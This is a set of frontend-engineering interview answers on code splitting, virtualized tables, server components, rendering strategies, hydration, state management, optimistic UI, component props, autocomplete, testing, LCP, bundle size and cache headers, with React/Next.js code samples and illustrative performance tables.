Wrap lazy components in a Suspense boundary whose fallback is sized to the real content, or you trade a slow paint for a layout shift.

Worked example (illustrative numbers, not a benchmark)

SplitInitial bundleLargest contentful paint
none480 KB2.4 s
by route210 KB1.9 s
plus the hero chart170 KB3.4 s

The third row is the mistake. The chart sat above the fold, so its chunk landed on the critical path and LCP moved from 1.9 s to 3.4 s while the initial bundle shrank by another 40 KB. Bundle size went down and the page got slower. That is why the decision rule is about the critical path, not about kilobytes.

When not to split

  • Anything in the first viewport.
  • Small modules. A 3 KB chunk still costs a request and a parse; the overhead can exceed the payload. Set a floor, 20–30 KB gzipped is a common one, and enforce it in CI.
  • Code shared by most routes. Splitting it just moves it into a chunk every route fetches anyway; keep it in the entry or a vendor chunk.
  • Anything you then prefetch on idle for every user. You've paid the request cost and kept the bytes.

Failure modes and how you see them

  • LCP regression from splitting above-the-fold code. Detect with element timing or RUM LCP and the network waterfall, not with the bundle analyzer.
  • Waterfall: a lazy route imports a lazy child, so chunk B can't start until chunk A parses. Visible as serialized requests in the waterfall.
  • Chunk explosion: hundreds of tiny chunks. HTTP/2 multiplexing removes the connection limit, not the per-chunk parse or the per-chunk cache entry.
  • Cache thrash: a shared chunk whose content hash changes on every deploy invalidates that chunk for every user. Watch the build output for chunks that change on unrelated commits.
  • Hydration mismatch: a lazy component that isn't ready at hydration flashes or shifts. Detect with layout shift metrics and SSR logs.

How I'd decide in practice

Run webpack-bundle-analyzer, rollup-plugin-visualizer or source-map-explorer, list modules by gzipped size, and for each one ask whether it's reachable from the first render. Split the ones that aren't, above the floor. Then measure LCP and INP before and after on a throttled profile, and keep the split only if LCP holds.

Curated: · Written: · Reviewed:

Q&A-42You must render ten thousand rows. What do you do?

Clarify first: is the row height fixed, does the user need Ctrl+F across all rows, and does the table need keyboard navigation? Those three answers pick the technique. Assuming roughly fixed heights and an interactive table, I'd window it: render the visible rows plus a small overscan buffer, and keep the scroll container at total × rowHeight so the scrollbar stays proportional.

The cost is the DOM, not the data. 10,000 rows × 14 cells is 140,000 elements. Each one costs style resolution, layout and memory, and the browser redoes that work on reflow, not just first paint. Windowing cuts the rendered set to viewportHeight / rowHeight + 2 × overscan, so cost is flat in the total row count.

const ROW_H = 32, OVERSCAN = 5;
function visibleRange(scrollTop, viewportH, total) {
  const first = Math.floor(scrollTop / ROW_H);
  const count = Math.ceil(viewportH / ROW_H);
  const start = Math.max(0, first - OVERSCAN);
  const end = Math.min(total, first + count + OVERSCAN);
  return [start, end];
}
visibleRange(3200, 640, 10000); // [95, 125] -> 30 rows in the DOM

Trace: 3200 / 32 puts row 100 at the top of the viewport; 640 / 32 fits 20 rows; 5 rows of overscan each side gives rows 95–124, 30 rows mounted. The container stays 10000 × 32 = 320,000 px tall, so the thumb position still means something.

What breaks.

  • Ctrl+F and anchors. Only mounted rows exist in the DOM, so browser find misses off-screen matches and #row-8000 goes nowhere. Run search against the data and jump the window to the hit, or intercept find.
  • Dynamic heights. Estimate 32 px and a row wraps to 64 px, and every row below shifts: the content jumps under the cursor mid-scroll. Measure with ResizeObserver and keep a prefix-sum of offsets, or force a fixed height with truncation.
  • Focus loss. If the focused row scrolls out and unmounts, focus falls to body and keyboard nav dies. Keep the focused row mounted, or restore focus by row index after the window moves.
  • Overscan too small. A trackpad fling outruns the render and shows blank rows. 5–10 rows of overscan covers a frame or two.
  • Assistive tech. A screen reader sees 30 rows and announces a 30-row table. Set aria-rowcount to 10000, aria-rowindex per row, and announce "rows 95–125 of 10,000" in a live region.

Alternatives. If the data is remote anyway, server-side pagination at 100 rows per page is simpler and keeps find-in-page working within a page. content-visibility: auto with contain-intrinsic-size is a cheap first pass when you can't restructure the list, but it still creates every node. Under ~1,000 rows, plain rendering is usually fine and windowing only adds bugs.

Illustrative numbers from a representative 14-column table, not measured on your app:

ApproachDOM nodesFirst renderScroll
every row140,000~4,200 ms~18 fps
windowed, 30 rows420~90 ms60 fps

How I'd verify. Count DOM nodes, time first render, and sample scroll frame rate before and after; profile a scrollbar fling in the Performance panel; then test Ctrl+F, Tab-through, and a screen reader against the windowed build.

Curated: · Written: · Reviewed:

Q&A-43In a framework with server components, how do you decide what ships to the browser?

The 90-second answer. Default to server components, and put the client boundary where the state actually lives, not automatically at the leaves. If a component needs useState, useEffect, refs, or a browser API, it's a client component. If theme, auth session, feature flags, i18n locale or a query cache is genuinely shared by the whole route, the provider belongs near the root, and the right move is to keep it there while passing server-rendered children through it as a prop. What you must never do is import the page content inside a client module. "Push the boundary down as far as it goes" is a good default and a bad rule.

Why it works that way. A server component contributes zero JavaScript to the client bundle; its output crosses the wire as an RSC payload. A client component contributes its own module plus its entire transitive import graph, and it creates a hydration root. So the cost of a boundary is not the component you marked: it's everything behind it.

That distinction is what makes a root-level provider affordable:

// app/providers.tsx
'use client'
export function Providers({ children }: { children: React.ReactNode }) {
  return <ThemeProvider>{children}</ThemeProvider>
}
// app/layout.tsx — server component
import { Providers } from './providers'
export default function Layout({ children }: { children: React.ReactNode }) {
  return <html><body><Providers>{children}</Providers></body></html>
}

children is rendered on the server and handed over as an already-rendered slot, so the provider's JS ships and the page's does not. Swap that for import Page from './page' inside providers.tsx and the page joins the client graph: same provider, whole route pays.

When pushing down is wrong. Hoist when the state is route-wide and every consumer would otherwise need its own copy: a theme toggle in the header and a themed chart in the body, an auth session read by a nav and a settings form, a React Query cache shared across sibling panels. Splitting those into per-leaf providers duplicates state and can desync it. Also hoist for third-party widgets that must mount once (analytics, chat, a toast portal): one client island at the root beats five scattered ones. The counter-pressure is over-splitting: each client island is its own hydration root with fixed overhead, so twenty tiny islands can cost more than one slightly larger one.

Failure modes, and how you catch them.

  • 'use client' on a layout that imports its subtree: the whole route ships. I've seen this add 210 KB and roughly 700 ms of script evaluation on a mid-tier Android under 4× CPU throttling. Caught by the next build route table: First Load JS jumps for that route alone.
  • Non-serializable props across the boundary (functions, class instances, Date in some setups): build or runtime error, not a silent regression.
  • Barrel files re-exporting client modules into a server graph, or the reverse: bundle analyzer shows modules you never imported directly.

Evidence before calling it done. Read the per-route First Load JS column from next build, open the bundle analyzer for that route, and confirm the only client modules are the ones you intended. Check the RSC payload size in the network tab: it should carry the data, not the markup you thought was server-only.

Illustrative figures from one App Router route (measure your own):

Boundary placementClient JS for the route
'use client' on the layout, page imported inside it310 KB
Root client provider, page passed as children140 KB
Boundary at the interactive leaves only100 KB

The middle row is the one people miss: hoisting a provider is not the same as hoisting the page.

Curated: · Written: · Reviewed:

Q&A-44How would you choose between server rendering, static generation, and client rendering for a page?

What I'd say in the first two minutes

Three questions decide this, and I ask them before naming a framework:

  1. How stale can the HTML be? Per publish, per minute, or per request.
  2. Is the HTML identical for every user? If it varies by session, it cannot sit in a shared CDN cache.
  3. Does a crawler or a cold visitor need the content in the first response?

Those answers pick the strategy:

  • Same HTML for everyone, staleness measured in minutes or hours → static, served from the edge.
  • Same URL, different HTML per user, or data that must be current at request time → server render.
  • Behind auth, no crawler, interaction-heavy after load → client render the island, static-render the shell.

Most real pages are the hybrid, not one of the three. A dashboard is a static shell plus a server-rendered personalized fragment plus a client-side chart.

Why the costs land where they do

Static HTML is a CDN hit: no origin round trip, no render, TTFB in the tens of milliseconds. The price is staleness, and the fix is revalidation rather than a rebuild: serve the cached copy and refresh it in the background.

Server rendering pays an origin round trip plus the render on every request. TTFB tracks your slowest downstream call, so one 2 s query moves p99 TTFB from ~120 ms to ~2.1 s unless you stream. Streaming with Suspense boundaries lets the shell flush immediately and the slow fragment arrive later.

Client rendering ships an empty shell. LCP is then gated on downloading, parsing and hydrating JS. Google's Core Web Vitals threshold for LCP is 2.5 s; a 300 KB bundle on a mid-tier phone can eat most of that before the first pixel of content.

The three routes in Next.js App Router

// app/marketing/page.tsx — static, refreshed in the background
// Next.js 15: fetch is uncached by default, so opt in explicitly.
export const revalidate = 3600;

export default async function Marketing() {
  const posts = await fetch('https://cms.example.com/posts', {
    next: { revalidate: 3600, tags: ['posts'] },
  }).then((r) => r.json());
  return <PostList posts={posts} />;
}
// app/dashboard/page.tsx — per-request, never cached
export const dynamic = 'force-dynamic';

export default async function Dashboard() {
  const user = await getSession(); // reads cookies() -> opts out of static
  return (
    <>
      <Header user={user} />
      <Suspense fallback={<TableSkeleton />}>
        <SlowTable userId={user.id} />
      </Suspense>
    </>
  );
}
// app/editor/page.tsx — static shell, client island
import Editor from './editor'; // 'use client'

export default function Page() {
  return <Editor />;
}

Publish a post, call revalidateTag('posts') from the CMS webhook, and the marketing page is fresh without a redeploy.

Failure modes and how I'd catch them

A personalized page cached at the edge. Symptom: one user sees another's name. Detect with a synthetic check that requests the same URL with two session cookies and diffs the HTML. Fix with Cache-Control: private, no-store on that route, not Vary: Cookie, which fragments the cache per user and destroys the hit rate.

Stale content after publish. The page is fast and wrong. Detect by asserting the rendered HTML contains the newest item within one revalidation window in CI.

Hydration mismatch. Server HTML differs from the first client render because of Date.now(), locale formatting or Math.random(). React logs a hydration error; fail the Playwright run on console errors rather than shipping it.

SSR without streaming under load. p99 TTFB tracks the slowest query, and the origin becomes the bottleneck at exactly the traffic spike you built SSR for. Watch origin TTFB separately from CDN TTFB.

When not to use each

Don't server-render a page that is identical for every user and changes hourly: you're paying origin cost for nothing. Don't client-render anything that needs indexing or has a slow-device audience. Don't reach for static if the content is per-user; you'll end up with a cache key you can't safely share.

Illustrative figures for a mid-size app, measured at p75:

PageStrategyTTFBLCP
marketingstatic + ISR40 ms1.2 s
dashboardSSR + streaming180 ms2.0 s
editorstatic shell + client island45 ms2.6 s

I'd confirm the choice by measuring TTFB, LCP and the served HTML for each candidate on the real page, not by reasoning about it.

Curated: · Written: · Reviewed:

Q&A-45What causes a hydration mismatch, and how do you fix it?

Hydration mismatch means the DOM the server sent does not match what React renders on its first client pass. React walks the existing DOM expecting it to line up with the element tree it is about to render; when a node's type, attributes or text differ, it cannot attach, so it discards the server HTML and re-renders on the client. In dev you get a console error; in production you get a flash of content and dead interactivity until the client render lands.

The cause is almost always a value read during render that differs between the two environments: Date.now(), Math.random(), window/localStorage, Intl formatting under a different locale or timezone, or a typeof window !== 'undefined' branch. A second class is structural: invalid HTML nesting (<div> inside <p>) that the browser silently repairs, so the DOM React finds no longer matches the tree it rendered. A third is external: a browser extension or an analytics script mutating the DOM before hydration.

The first client render has to be a pure function of props and state that the server also had.

FixCostUse when
Move the value into useEffectsecond render after hydration; the value is absent from the SSR HTML, so a flash and worse LCP/SEOthe value is genuinely client-only and small (a clock, a theme toggle)
Client-only component (dynamic(..., { ssr: false }))ships an extra JS chunk and delays first paint of that regionthe whole widget is client-only (map, canvas, editor)
Compute on the server, pass as a propvalue must be serializable and available at render time; goes stale if it changestimestamp, locale, feature flag: anything the server already knows
suppressHydrationWarningsilences the warning only; does not fix structure and hides real bugsleaf text where a difference is expected and harmless
useIdnoneIDs that must match across server and client
// React 18/19, Next.js App Router
function Timestamp({ serverNow }) {
  // serverNow is serialized into the HTML — deterministic on both sides
  return <time dateTime={serverNow}>{format(serverNow)}</time>;
}

function LocalClock() {
  const [now, setNow] = useState(null);
  useEffect(() => {
    setNow(Date.now());
    const id = setInterval(() => setNow(Date.now()), 1000);
    return () => clearInterval(id);
  }, []);
  if (now === null) return <span />; // matches the server's empty render
  return <span>{new Date(now).toLocaleTimeString()}</span>;
}

Trace: the server renders <span /> for LocalClock because now is null. The client's first render also has now === null, so it produces <span />: a match. The effect runs after hydration, sets now, and React re-renders with the time. No mismatch, at the cost of one extra render and an empty span in the SSR HTML.

Detection: React 18 logs "Hydration failed because the initial UI does not match what was rendered on the server" and falls back to a client render of the root; React 19's message includes a diff of the mismatched nodes. In a test, render with renderToString and hydrate with hydrateRoot, and fail on any console error: that catches it before users do. In the field, watch for a flash of empty or unstyled content on first load and a CLS spike in RUM.

Two failure modes worth naming. Suppressing the warning to ship hides structural mismatches that resurface later as broken event handlers. Moving everything into effects turns SSR into a shell: you have fixed hydration by giving up server rendering.

Curated: · Written: · Reviewed:

Q&A-50When do you reach for a state management library instead of the framework's own tools?

The 90-second answer

Reach for a state management library when the framework's own tools force a choice between correctness and render cost. In React that means: useState/useReducer for state one component owns, useContext for state that rarely changes and is read by a stable set of components, and a store with selectors (Zustand, Redux Toolkit, Jotai) once many distant components read overlapping slices and updates are frequent. Keep server data out of that store entirely: use TanStack Query, SWR, or RTK Query for it.

The deciding mechanism is how each tool decides who re-renders.

Why context stops scaling

A React context provider re-renders every consumer whenever its value changes by Object.is, and React.memo on the consumer does not stop it: context reads bypass memo. So a single context holding {user, theme, cart, filters} re-renders the theme toggle when the cart changes. With 200 consumers each rendering a list row, one keystroke that updates a filter can cost 200 re-renders where 3 rows actually changed.

A selector store inverts this. useStore(s => s.cart.count) subscribes the component to that slice; Zustand re-renders it only when the selected value changes by Object.is (or a custom equality fn). Redux's useSelector behaves the same with reference equality by default. The cost moves from "every consumer" to "consumers whose slice changed."

Server cache is a different problem

Caching, deduplication, revalidation, and retries are not client state. TanStack Query v5 defaults: staleTime 0 (data is stale immediately, so it refetches on mount/focus/reconnect), gcTime 5 minutes (unused cache entries are garbage-collected). Two components mounting the same queryKey in the same tick issue one request, not two. Hand-rolling that in a Redux store means writing invalidation by hand, which is where teams get stale data.

Where each kind of data belongs

DataToolWhy
Order list from APITanStack Query / RTK Querydedup, revalidate, cache lifetime
Open modal, wizard stepuseStateone owner, no sharing
Session, themesmall store or contextread widely, changes rarely
Derived totalscomputed at readnever stored, never stale

Failure modes to name

  • Context as a global store: update frequency × consumer count drives render cost; detect with React DevTools Profiler showing a provider commit re-rendering hundreds of components.
  • Server data in a client store: you own invalidation; detect via stale-data bug reports and cache entries that outlive the server's truth.
  • Selector returning a new object each call (s => ({a: s.a})) re-renders every time; detect with a render counter, fix with shallow equality or separate selectors.

What I'd check before committing

List every field the store holds and mark each as client-owned or server-derived. Anything server-derived moves to the query layer. Then profile one hot interaction and confirm the re-render count matches the number of components whose data actually changed.

Curated: · Written: · Reviewed:

Q&A-46How do you make an action feel instant without lying to the user?

The 90-second answer. Optimistic UI: apply the change to local state immediately, mark it pending, send the request, and reconcile against the server's response. It stays honest because of three things, not one: the pending marker tells the user the state is provisional, the rollback path restores the previous state on failure, and an idempotency key makes the retry safe. Drop any one of the three and you are lying: the screen shows a state the server never accepted.

Use it for high-success, reversible, user-owned actions: likes, renames, toggles, list reordering. Do not use it for payments, anything that allocates a server-side resource with real cost, or anything the server can reject on a rule the client cannot evaluate (permissions, quota, fraud). For those, block: disable the control, show a spinner, wait for the server.

The "instant" part is arithmetic. A mobile round trip is commonly 100–300 ms; the local render is one frame, ~16 ms at 60 Hz. Optimism buys you the difference, and the pending marker is what you pay for it.

Mechanism.

// React 18 + TypeScript 5.4
async function toggleLike(postId: string) {
  const prev = getLike(postId);                       // { count: 41, liked: false }
  setLike(postId, { count: prev.count + 1, liked: true, pending: true });
  try {
    const res = await fetch(`/api/posts/${postId}/like`, {
      method: 'PUT',
      headers: { 'Idempotency-Key': crypto.randomUUID() },
    });
    if (!res.ok) throw new Error(String(res.status));
    setLike(postId, { ...(await res.json()), pending: false });   // server truth
  } catch {
    setLike(postId, { ...prev, pending: false });                 // rollback
    toast('Could not save your like. Tap to retry.');
  }
}

Trace it. prev is {count: 41, liked: false}. setLike writes {count: 42, liked: true, pending: true} and the count renders 42 in one frame. The PUT fires with a fresh key. If the server answers 200 with {count: 42, liked: true}, setLike writes {count: 42, liked: true, pending: false}: the pending marker clears. If the PUT rejects (network drop, 500), the catch writes {count: 41, liked: false, pending: false} and the toast appears. The count never sits at 42 without either a server confirmation or a visible pending marker.

Failure modes.

  • Out-of-order responses. Two fast taps; the first response lands after the second and overwrites it. Tag each request with a monotonic sequence per entity and drop responses older than the last applied, or abort the in-flight request when a new one starts.
  • Rollback clobbering. The catch restores prev, but another field changed while the request was in flight. Snapshot only the fields you touched, or re-read the entity from the server on failure.
  • Double-apply on retry. A retried PUT without an idempotency key increments twice. The server dedupes on the key and returns the original result.
  • Unpredictable server rejection. The optimistic state was wrong for 200 ms and then vanishes. Keep the pending marker until the server confirms: never clear it at send time.
  • Offline. Do not roll back. Queue the write and show "will sync when online"; a silent rollback makes the user's action disappear.
ActionOptimisticReason
like a postyesreversible, high success
rename a fileyesreversible, user-owned
submit a paymentnoirreversible, server-authoritative

Verify. Force the failure (devtools offline, or a proxy returning 500) and confirm the rollback plus a message the user can act on. Then test the double-tap race and the retry path, since those are the two that pass a happy-path demo and fail in production.

Alternatives. If the action is irreversible, block with a spinner instead. If the write is local-first, sync in the background and surface a sync state rather than a rollback.

Curated: · Written: · Reviewed:

Q&A-49How do you design the props of a reusable component?

What I say first

Ask two things before naming a prop: which states can this component actually be in, and which of them are mutually exclusive. Then let the type system carry that answer, so a caller cannot express a state the component can't render. Assuming React with TypeScript (Vue's defineProps with union types and Svelte's typed props follow the same shape), that means a discriminated union on the one prop that decides the shape, children for anything that varies in layout, and the remaining DOM props plus a ref passed through.

The union

A select that is either single- or multi-value is the canonical case: multiple doesn't just toggle behaviour, it changes the type of value and onChange.

type BaseProps<T> = {
  options: readonly T[];
  getLabel: (option: T) => string;
  disabled?: boolean;
};

type SingleProps<T> = BaseProps<T> & {
  multiple?: false;
  value: T;
  onChange: (next: T) => void;
};

type MultipleProps<T> = BaseProps<T> & {
  multiple: true;
  value: readonly T[];
  onChange: (next: readonly T[]) => void;
};

type SelectProps<T> = SingleProps<T> | MultipleProps<T>;

function Select<T>(props: SelectProps<T>) { /* ... */ }

multiple?: false on the single member is load-bearing. Without it, SingleProps has no multiple property at all, and a non-literal argument typed { multiple: boolean; value: T } matches it: excess-property checking only fires on object literals.

Trace

<Select options={opts} multiple value={opts[0]} onChange={setOne} />, with opts: string[].

multiple: true selects the MultipleProps<string> member. value is then checked against readonly string[], and opts[0] is string. The compiler reports value as the offending prop. Drop multiple or set it to false and the same expression compiles, because SingleProps is selected instead. The invalid combination is a type error at the call site, not a runtime branch someone has to remember to test.

Why not booleans

DesignPropsReachable statesInvalid states
4 independent booleans41611
one variant union (4 values) + children240

Four booleans give 2^4 = 16 combinations. If only 5 of those are meaningful, 11 are states the component must still render or crash on, and each one is a branch to test.

Where this stops paying

Unions get hard to read past about three variants: at that point split the component. Layout variation is not a prop problem: <Card header={...} footer={...}> forces every caller through one arrangement, while <Card><Card.Header/><Card.Body/></Card> lets them reorder. A union also can't express controlled-versus-uncontrolled cleanly; keep value/onChange and defaultValue as separate documented pairs, and warn when value arrives without onChange.

Failure modes

  • Rest props leaking: spreading the remainder onto a DOM node without omitting the props you consumed produces React's unknown-prop warning. Catch it with a test that fails on console errors.
  • Defaults that break memo: options = [] as a default allocates a new array every render, so React.memo never hits. Hoist the constant.
  • Silent widening: a caller annotating a variable as SelectProps<T> instead of letting it infer loses discriminant narrowing at the call site, and the invalid combination compiles again.

Curated: · Written: · Reviewed:

Q&A-25Build an autocomplete input. What does a strong answer include beyond fetching results?

Clarify two things before writing code: is the suggestion source local (an in-memory index) or remote, and are results personalized? Both change the design. Assume remote, non-personalized, and a list the user picks from with the keyboard.

The fetch is the easy part. What decides the answer is the state machine around it: when to fire, how to cancel, what to remember, and how the list is exposed to assistive tech. A working fetch on every keystroke is the version that ships and then fails review.

// Browser JS, checked against TypeScript 5.4 lib.dom
function makeAutocomplete(fetchSuggestions, { debounceMs = 250, maxCache = 50 } = {}) {
  const cache = new Map();   // insertion-ordered: first key is the oldest
  let timer = null, controller = null;

  return function onInput(query) {
    clearTimeout(timer);
    if (controller) controller.abort();
    if (cache.has(query)) { render(cache.get(query)); return; }

    timer = setTimeout(async () => {
      controller = new AbortController();
      try {
        const results = await fetchSuggestions(query, { signal: controller.signal });
        if (cache.size >= maxCache) cache.delete(cache.keys().next().value);
        cache.set(query, results);
        render(results);
      } catch (e) {
        if (e.name !== 'AbortError') renderError(e);
      }
    }, debounceMs);
  };
}

Trace it with two keystrokes. Type rea, then react 100 ms later. On rea the timer is armed; on react clearTimeout cancels it before it fires, so no request for rea ever leaves: debounce alone handled that. Now type rea, wait 300 ms (request in flight), then type react: abort() cancels the in-flight rea request and a fresh timer starts. That second case is the one that needs the abort; without it, a slow rea response can land after react and overwrite the list.

Trade-offs, and when each choice is wrong:

ChoiceWhyWhen it's wrong
debounce 250 mswaits for a typing pause; one request per pauselocal index over a few thousand rows: filter synchronously, 250 ms is pure added latency. Throttle is worse here: it fires mid-word for prefixes the user has already left
abort in-flightkills the superseded requestif the transport can't abort, use a monotonic request id and drop responses whose id isn't the latest
cache by queryrepeat prefixes are commonpersonalized or ACL-scoped results: the key must include the scope, or a shared cache leaks one user's suggestions to another
FIFO eviction at 50one line with Mapa hit doesn't refresh position, so a hot early prefix gets evicted while a cold recent one stays. LRU re-inserts on hit; TTL handles a rebuilding index

Two more failure modes worth naming. IME composition: on CJK input, input fires mid-composition, so gate on compositionend or you query half-formed text. And the accessibility tree: focus stays in the input, so the options must be reachable via aria-activedescendant pointing at the active option's id, with aria-expanded on the combobox and the result count in a separate aria-live="polite" status region. Putting aria-live on the listbox itself makes screen readers re-read the whole list on every keystroke.

Verification: drive it with the keyboard only (arrows, Enter, Escape) and with a screen reader, and confirm every suggestion is reachable and announced. Then throttle the network to confirm a stale response never wins.

Curated: · Written: · Reviewed:

Q&A-47How do you test a component so the test survives a refactor?

A refactor is a change that preserves behaviour. So the test that survives one asserts the behaviour, not the shape of the code that produces it. In the first minute I'd say: query the component the way a user or assistive technology finds it (by role, accessible name, label, or visible text) drive it with real events, and assert on what renders. Mock at the network boundary, never at internal modules.

Role and label queries survive because they resolve against the accessibility tree, which is part of the component's public contract. A class name, a state field, or a prop name is not: it is an implementation detail the refactor is allowed to change.

// SaveButton.test.jsx — React 18, @testing-library/react 14, user-event 14
import { render, screen } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { SaveButton } from './SaveButton';

test('saves the draft when the user clicks Save', async () => {
  const onSave = jest.fn();
  render(<SaveButton onSave={onSave} />);

  await userEvent.click(screen.getByRole('button', { name: /save/i }));

  expect(onSave).toHaveBeenCalledTimes(1);
});

Trace the refactor: convert SaveButton from a class holding this.state.dirty to a function component with useState, rename the CSS class from btn-primary to save-btn, and move the click handler into a hook. The test names none of those, so it passes unchanged. A test doing wrapper.find('.btn-primary').simulate('click') and asserting wrapper.state('dirty') fails on all three edits while the user sees no difference.

QueryCoupled toSurvives refactor
getByRole('button', { name: /save/i })accessibility treeyes
getByLabelText('Email')form semanticsyes
getByText('Saved')rendered copyusually
container.querySelector('.btn-primary')CSS classno
wrapper.state('dirty')internal stateno

Where the rule bends:

  • Text queries are brittle against copy changes and i18n. If the string is owned by a designer or a translation file, assert on a stable accessible name or a data-testid instead of the literal. Test ids are the honest escape hatch when a control genuinely has no accessible name: an icon-only button with no aria-label. The better fix is usually to give it a name, but a test id beats a class selector when the name is truly absent.
  • Snapshot tests are cheap and catch unintended markup changes, but they fail on every cosmetic edit and assert nothing about behaviour. Keep them for serialized output (a formatter, a generated config) not as the only test of a component.
  • Behavioural tests get expensive at the E2E level: a browser per test, seconds each, flaky under load. Push the behaviour down to the component level with jsdom and keep a thin E2E layer for paths that cross a real network or a real browser API.
  • Mocking at the network boundary keeps the test honest about the component's contract, but over-mocking hides integration bugs, if the component and the API disagree on a field name, a hand-written mock agrees with both.

Failure modes worth naming: a role query throws when the component has no accessible name, which is a real accessibility bug surfacing as a test failure. Fix the component, not the query. And a test that passes after the refactor but also passes when you delete the handler is testing nothing; verify by breaking the behaviour and watching it fail.

That is the check I'd run: refactor the internals without touching the markup and confirm the suite still passes, then break the behaviour and confirm it fails.

Curated: · Written: · Reviewed:

Q&A-61Your largest contentful paint is 4 seconds. How do you find and fix the cause?

What I'd say in the first two minutes

Identify the LCP element, split its 4 s into four additive parts, and fix the part that owns the time. The parts are TTFB, resource load delay (element discovered → request starts), resource load duration (request start → response end), and element render delay (response end → paint). Guessing which stage is slow usually optimizes the wrong one.

new PerformanceObserver((list) => {
  const e = list.getEntries().at(-1);
  console.log(e.element, e.url, e.startTime, e.loadTime, e.renderTime);
}).observe({ type: 'largest-contentful-paint', buffered: true });

For a text LCP element url is empty and loadTime is 0: the delay is TTFB plus render, and no amount of image work helps. For an image all four are populated. The web-vitals v4 attribution build exposes the same split as timeToFirstByte, resourceLoadDelay, resourceLoadDuration, elementRenderDelay; DevTools' Performance panel shows it in the Timings track. Field data at p75 is the metric; lab is only for diagnosis.

A real breakdown, before and after:

StageBeforeAfter
time to first byte0.5 s0.5 s
resource load delay2.4 s0.3 s
load duration0.8 s0.6 s
render delay0.3 s0.3 s

Resource load delay owned 60% of the time, so that is the stage to fix.

Choosing the fix

Largest partFixApplies whenFails when
resource load delay<link rel="preload">, fetchpriority="high", or inline the image in the HTMLthe element is discovered late: CSS background, JS-injected, or below the preload scannerLCP is text (nothing to prioritize); or the image is already discovered early, so the preload competes with critical CSS and can trigger a second request for the same URL
load durationresponsive srcset/sizes, AVIF/WebP, CDNbytes are the bottleneckthe network is fast and the delay is elsewhere; an image CDN that ignores sizes serves a larger candidate than the layout needs
TTFBCDN/edge cache, cached SSR HTMLthe HTML is cacheablepersonalized or logged-in pages: cache the shell and stream the rest instead
render delayinline critical CSS, defer non-critical JS, break up long taskspaint is blocked by CSS, JS or a font swapthe delay is image decode, which no amount of CSS inlining touches

Failure modes and how they show up

loading="lazy" on the hero image is the most common self-inflicted one: it defers discovery until layout, so resourceLoadDelay jumps and the image request starts after layout in the waterfall. A preload for an image the preload scanner already finds shows up as two requests for the same URL. Setting fetchpriority="high" on every image cancels itself out: the browser has one priority budget.

I have watched a team spend a sprint shrinking JavaScript while the LCP element was a hero image discovered late by the parser; the metric moved 0.2 s. The breakdown would have pointed at resource load delay on day one.

Closing the loop

I would not call it fixed without evidence: re-run the four-part breakdown in the field and show which part the change reduced, plus a lab trace confirming the request now starts before layout. If the part that shrank is not the part that was largest, the change was luck.

Curated: · Written: · Reviewed:

Q&A-64The bundle has grown to two megabytes. How do you bring it down?

First, pin down what the 2 MB is: compressed initial JS on first load, or the uncompressed total including lazy chunks. The number that matters is the compressed initial bundle, because that is what blocks first paint. If 2 MB is uncompressed, the transfer is closer to 600 KB and the problem is smaller than it looks.

Then measure composition before cutting anything. source-map-explorer dist/main.*.js or webpack-bundle-analyzer ranks modules by parsed size; parsed size, not source size, is what the browser pays for. Cutting without this step usually means optimising code that isn't there.

A worked example: hypothetical figures for a 2 MB compressed initial bundle:

ModuleBeforeAfter
moment + all locales320 KB0 KB (Intl.DateTimeFormat)
chart library240 KB90 KB, lazy on its route
icon set (all icons)110 KB6 KB, per-icon imports
lodash (full build)70 KB12 KB, ESM named imports
app code1,260 KB380 KB, route-split
initial total2,000 KB488 KB

The dependency work is mechanical: replace moment with the platform's Intl.DateTimeFormat (or date-fns if you need parsing), import named exports from ESM builds, and pull icons individually. Tree shaking only removes what the bundler can prove is unused: a barrel file that re-exports everything defeats it, so check the import graph, not just the dependency list.

The bigger win here is route splitting, because app code dominates. Each route becomes its own chunk loaded on navigation.

Trade-offs:

  • Lazy chunks are not free: each is a round trip, and a route that needs a shared vendor chunk can waterfall (route chunk → vendor chunk → render). Prefetch on idle or on link hover to hide it.
  • Splitting a single-route app gains nothing; you pay chunk overhead for no reduction in what is loaded.
  • Intl drops moment's parsing and some timezone behaviour. If you rely on those, keep a smaller library rather than the platform.
  • If the bundle is already cached and users are on fast connections, the cost is first-load only: measure before assuming the churn is worth it.

Failure modes:

  • Regression: a new dependency, a barrel import, or a dynamic import that gets statically pulled in. Detect with a CI budget on the initial chunk that fails the build, plus a per-PR size diff.
  • Production: RUM on LCP and transfer size; a step change after a deploy points at a chunk that grew or a split that stopped working.
  • User cost: at roughly 1.6 Mbps effective 4G, 2 MB is about 10 seconds of transfer before parse. That is the number to put against the budget.
// package.json
"size-limit": [
  { "path": "dist/main.*.js", "limit": "500 KB" }
]

Curated: · Written: · Reviewed:

Q&A-65How should a frontend build be cached so users get updates without refetching everything?

The 90-second answer

Two classes of URL, two policies. Assets get content-hashed filenames (app.4f3a1c.js) and Cache-Control: public, max-age=31536000, immutable. The HTML entry point keeps its URL forever, so it gets a short or zero TTL and revalidates. The HTML is the only thing that names the current hashes; if it is stale, users are pinned to a build you may have already deleted.

Assumption: you control response headers at origin or CDN, and you deploy by replacing files rather than mutating them in place.

Why it works

The cache key is the URL. A content hash changes the URL when the bytes change, so a new build is a guaranteed miss and an unchanged file is a guaranteed hit: no revalidation traffic for assets at all. immutable additionally tells browsers not to revalidate even on a manual reload.

Choosing the HTML policy

PolicyStaleness windowCost per navigationWhen to pick it
no-cache + ETag0 (revalidates)1 conditional request, 304 body-lessDefault. Deploys land on the next navigation.
max-age=60, must-revalidateup to 60 s0 for most usersYou want to shed the 304 round trip and can tolerate a minute of skew.
Long TTL + CDN purge on deploypurge propagation0Edge-cached HTML, fast repeat loads; you accept that a missed purge strands users on the old build.
Service worker precacheSW update cycle0, offline-capableYou need offline or app-shell startup; you now own a second cache and its update race.

ETag beats Last-Modified here: it is content-derived, so it survives redeploys that rewrite the file with identical bytes, and it avoids the one-second granularity and clock skew that make Last-Modified return spurious 200s.

Failure mode

I have seen the HTML served with max-age=86400. A deploy replaced app.4f3a1c.js with app.9b2e07.js and deleted the old file. Users holding the cached document requested the deleted chunk and got 404s: 4,800 script errors in an hour before the header changed. Detection: alert on 404 rate for /assets/* and on chunk-load errors in the client (Vite emits vite:preloadError; webpack throws ChunkLoadError). A handler that reloads once on that error turns a hard failure into a self-heal.

Chunk stability

Split vendor code into its own chunk so an app-code change does not rehash the framework bundle. The vendor hash only moves when vendor bytes move, so repeat visitors keep it across most deploys.

Verification

